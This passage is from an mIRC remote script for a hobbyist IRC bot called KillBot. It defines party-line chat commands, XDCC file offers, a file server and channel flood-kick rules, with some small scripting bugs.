n156=1:ON CHAT:.xdcc plist*:ig $nick | set %u $read -s $+ $nick userchats.txt | if =55 !isin $level(%u) { msg =$nick What? try '.help' | halt } | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) xdcc plist $parm3 | sendtousers | if $null == $parm3 { set %homechan $gettok(%homechans,1,32) | xdcclistchan | msg =$nick Sending Pack List to %homechan $+ . | halt } | if $me ison $parm3 { set %homechan $parm3 | xdcclistchan | msg =$nick Sending Pack List to %homechan $+ . | halt } | msg =$nick I'm not in $parm3 $+ .
n157=1:ON CHAT:.xdcc list:ig $nick | xdcclistchat $nick
n158=1:ON CHAT:.xdcc:ig $nick | msg =$nick Usage: .xdcc list | msg =$nick        .xdcc send #
n159=1:ON CHAT:.xdcc offer *:ig $nick | xdccoffer $nick $parm3*
n160=1:ON CHAT:.xdcc send *:ig $nick | xdccsendchat $nick $parm3
n161=1:ON CHAT:.xdcc remove #*:ig $nick | xdccremovechat $nick $parm3
n162=1:ON TEXT:xdcc send *:?:if %flooding > 1 halt | inc %flooding | .timer 1 1 dec %flooding | xdccsendmsg $nick $parm3
n163=1:ON TEXT:xdcc list:?:if %flooding > 1 halt | inc %flooding | ignore -pu10 *!*@ $+ $site | .timer 1 1 dec %flooding | xdcclistmsg $nick
n164=#xdcclist end
n165=#chat start
n166=1:ON CHAT:.boot*:{
n167=  ig $nick | set %u $read -s $+ $nick userchats.txt | if (=54 !isin $level(%u) || =55 !isin $level(%u)) { msg =$nick What? try '.help' | halt }
n168=  set %kickadd $read -s $+ $parm2 userchats.txt
n169=  if $null == %kickadd { msg =$nick There is no one by the name of $parm2 in the dcc chat line. | halt }
n170=  if =55 isin $level(%kickadd) { msg =$nick HAHAHAHA, you can't kick the Owner, you don't have the power bitch. | halt }
n171=  set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) boot $parm2 | sendtousers
n172=  close -c $parm2 | write -ds $+ $parm2 userchats.txt | write -ds $+ $parm2 activechats.txt
n173=  set %msg *** $parm2 was kicked from the party line by $nick. | sendtousers
n174=}
n175=1:ON CHAT:.xdcc stats:ig $nick | set %u $read -s $+ $nick userchats.txt | if (=54 !isin $level(%u) || =55 !isin $level(%u)) { msg =$nick What? try '.help' | halt } | xdccstats $nick
n176=1:ON CHAT:.ping*:ig $nick | set %u $read -s $+ $nick userchats.txt | if (=54 !isin $level(%u) || =55 !isin $level(%u)) { msg =$nick What? try '.help' | halt } | if $null == $parm2 { msg =$nick Usage: .ping <bot-nick> | halt } | botping $nick $parm2
n177=1:ON CHAT:.dcc stats:ig $nick | set %u $read -s $+ $nick userchats.txt | if (=54 !isin $level(%u) || =55 !isin $level(%u)) { msg =$nick What? try '.help' | halt } | dccstats $nick
n178=1:ON CHAT:.clonecheck:ig $nick | set %u $read -s $+ $nick userchats.txt | if =53 !isin $level(%u) { msg =$nick What? try '.help' | halt } | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) clonecheck | sendtousers | clonecheck =$nick
n179=1:ON CHAT:.whois*:ig $nick | botwhois $nick $parm2
n180=1:ON CHAT:.notes:ig $nick | msg =$nick Usage: read | msg =$nick        erase
n181=1:ON CHAT:.notes *:ig $nick | set %u $read -s $+ $nick userchats.txt | set %u $read -s $+ %u users.txt | set %n $read -s $+ %u notes.txt | if $null == %n { msg =$nick You have no messages waiting. | halt } | if $parm2 !isin eraseread { msg =$nick Wrong parameters, Try '.help notes' | halt } | notes $nick %u $parm2 | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) notes read | sendtousers
n182=1:ON CHAT:.join *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 54 !isin $level(%u) && 55 !isin $level { msg =$nick What? Try '.help' | halt } | join $parm2 | who $parm2 | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) join $parm2 | sendtousers
n183=1:ON CHAT:.part *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 54 !isin $level(%u) && 55 !isin $level { msg =$nick What? Try '.help' | halt } | if $parm2 == %homechan { msg =$nick What? Try '.help' | halt } | part $parm2 | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) part $parm2 | sendtousers
n184=1:ON CHAT:.fserve:ig $nick | if %fserve == 0 { msg =$nick The File Server is turned off right now. | halt } | if %fservsup >= %fservelimit { msg =$nick Sorry, the File Server is busy right now. | halt } | fserve $nick 1 %fservedir | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) fserve | sendtousers
n185=1:ON CHAT:.note *:ig $nick | if $null == $read -s $+ $parm2 users2.txt { msg =$nick I don't know anyone by that name. | halt } | if $null != $read -s $+ $parm2 userchats.txt { msg = $+ $parm2 Note $chr(91) $+ $nick $+ $chr(93) $+ $chr(58) $parm3* | msg =$nick -> $parm2 $+ $chr(58) $parm3* | halt } | set %fd $fulldate | set %t $time | write notes.txt $parm2 $nick ( $+ $token(2,32,%fd) $token(3,32,%fd) $token(1,58,%t) $+ $chr(58) $+ $token(2,58,%t) $+ ) $+ $chr(58) $parm3* | msg =$nick Stored message.
n186=1:ON CHAT:.jump*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 54 !isin $level(%u) && 55 !isin $level { msg =$nick What? Try '.help' | halt } | if $null == $parm2 { msg =$nick Hmmm, you might try specifing a server. | halt } | server $parm2* | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) jump $parm2* | sendtousers
n187=1:ON CHAT:.die:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 isin $level(%u) { quit Requested by: $nick | exit | halt } if 54 isin $level(%u) && %die == 1 { quit Requested by: $nick | halt } | msg =$nick What? Try '.help'
n188=1:ON CHAT:.whoami:ig $nick | whoami $nick
n189=1:ON CHAT:.who*:echo hi | ig $nick | whoon $nick $parm2
n190=1:ON CHAT:.quit:ig $nick | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) quit | sendtousers | set %msg *** $nick left the party line. | sendtousers | close -c $nick | write -ds $+ $nick userchats.txt | write -ds $+ $nick activechats.txt | set %msg bbb $nick Left Party Line @ $me | sendtobots
n191=1:ON CHAT:.lusers:ig $nick | luser $nick
n192=1:ON CHAT:.motd:ig $nick | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) motd | sendtousers | qmotdplay =$nick motd.txt
n193=1:ON CHAT:.*:ig $nick | msg =$nick What?  Try '.help'
n194=1:ON CHAT:*:ig $nick | set %u $read -s $+ $nick userchats.txt | if $null == %u halt | set %msg < $+ $nick $+ > $parms | sendtousers $nick | set %msg bbb PL $nick @ $me says $parms | sendtobots
n195=#chat end
n196=1:ON TEXT:*:?:ignore -tu5 *!*@ $+ $site | onprivmsg $nick $fulladdress $parms
n197=#fserve start
n198=1:ON SERVOPEN:write fserves.txt $nick $address($nick,3) | msg =$nick Connected to $me $+ , running KillBot Fserve v.01 for Mirc 4.7  © Killar | inc %fservesup
n199=1:ON SERVCLOSE:write -ds $+ $nick fserves.txt | dec %fservesup
n200=1:ON SERV:get*:set %d $send(0) + $get(0) | if %d >= %dcclimit { msg =$nick Sorry, max number of dcc's already in progress. KillBot | halt }
n201=1:ON FILESENT:*:%lof = $lof($filename) / 1024 | %leeched = %leeched + %lof
n202=#fserve end
n203=#newlamechannelcontrol start
n204=202:ON NICK:if ($checkchan($chan) == 0) halt | kick $chan $nick KillBot Nick Flood Kick (15sec ban) | ban -u15 $chan $nick 2 | ruser 200,201,202 $address($nick,3)
n205=201:ON NICK:if ($checkchan($chan) == 0) halt | auser -a =202 $address($nick,3) | .timer 1 1 ruser 202 $address($nick,3)
n206=200:ON NICK:if ($checkchan($chan) == 0) halt | auser -a =201 $address($nick,3) | .timer 1 1 ruser 201 $address($nick,3)
n207=202:ON TEXT:*:#:if ($checkchan($chan) == 0) halt | kick $chan $nick KillBot Channel Text Flood (15sec Ban) | ban -u15 $chan $nick 2 | ruser 200,201,202 $address($nick,3)
n208=201:ON TEXT:*:#:if ($checkchan($chan) == 0) halt | auser -a =202 $address($nick,3) | timer 1 1 ruser 202 $address($nick,3)
n209=200:ON TEXT:*:#:if ($checkchan($chan) == 0) halt | auser -a =201 $address($nick,3) | timer 1 1 ruser 201 $address($nick,3)
n210=202:ON ACTION:*:#:if ($checkchan($chan) == 0) halt | kick $chan $nick KillBot Action Flood (15sec ban) | ban -u15 $chan $nick 2 | ruser 200,201,202 $address($nick,3)
n211=201:ON ACTION:*:#:if ($checkchan($chan) == 0) halt | auser -a =202 $address($nick,3) | .timer 1 1 ruser 202 $address($nick,3)
n212=200:ON ACTION:*:#:if ($checkchan($chan) == 0) halt | auser -a =201 $address($nick,3) | .timer 1 1 ruser 201 $address($nick,3)
n213=202:ON JOIN:#:if ($checkchan($chan) == 0) halt | kick $chan $nick KillBot Join/Part Flood (15sec ban) | ban -u15 %ch $nick 2 | ruser 200,201,202 $address($nick,3)
n214=201:ON JOIN:#:if ($checkchan($chan) == 0) halt | auser -a =202 $address($nick,3) | .timer 1 1 ruser 202 $address($nick,3)
n215=200:ON JOIN:#:if ($checkchan($chan) == 0) halt | auser -a =201 $address($nick,3) | .timer 1 1 ruser 201 $address($nick,3)
n216=202:ON PART:#:if ($checkchan($chan) == 0) halt | kick $chan $nick KillBot Join/Part Flood (15sec ban) | ban -u15 %c $nick 2 | ruser 200,201,202 $address($nick,3)
n217=201:ON PART:#:if ($checkchan($chan) == 0) halt | auser -a =202 $address($nick,4) | .timer 1 1 ruser 202 $address($nick,3)
n218=200:ON PART:#:if ($checkchan($chan) == 0) halt | auser -a =201 $address($nick,4) | .timer 1 1 ruser 201 $address($nick,3)
n219=1:ON NICK:if ($checkchan($chan) == 0) halt | onactive $newnick Nick
n220=1:ON TEXT:*:#:if ($checkchan($chan) == 0) halt | ontext $nick $parms
n221=1:ON ACTION:*:#:if ($checkchan($chan) == 0) halt | onactive $nick Action
n222=1:ON JOIN:#:if ($checkchan($chan) == 0) halt | onjoin $nick
n223=1:ON PART:#:if ($checkchan($chan) == 0) halt | onpart $nick
n224=#newlamechannelcontrol end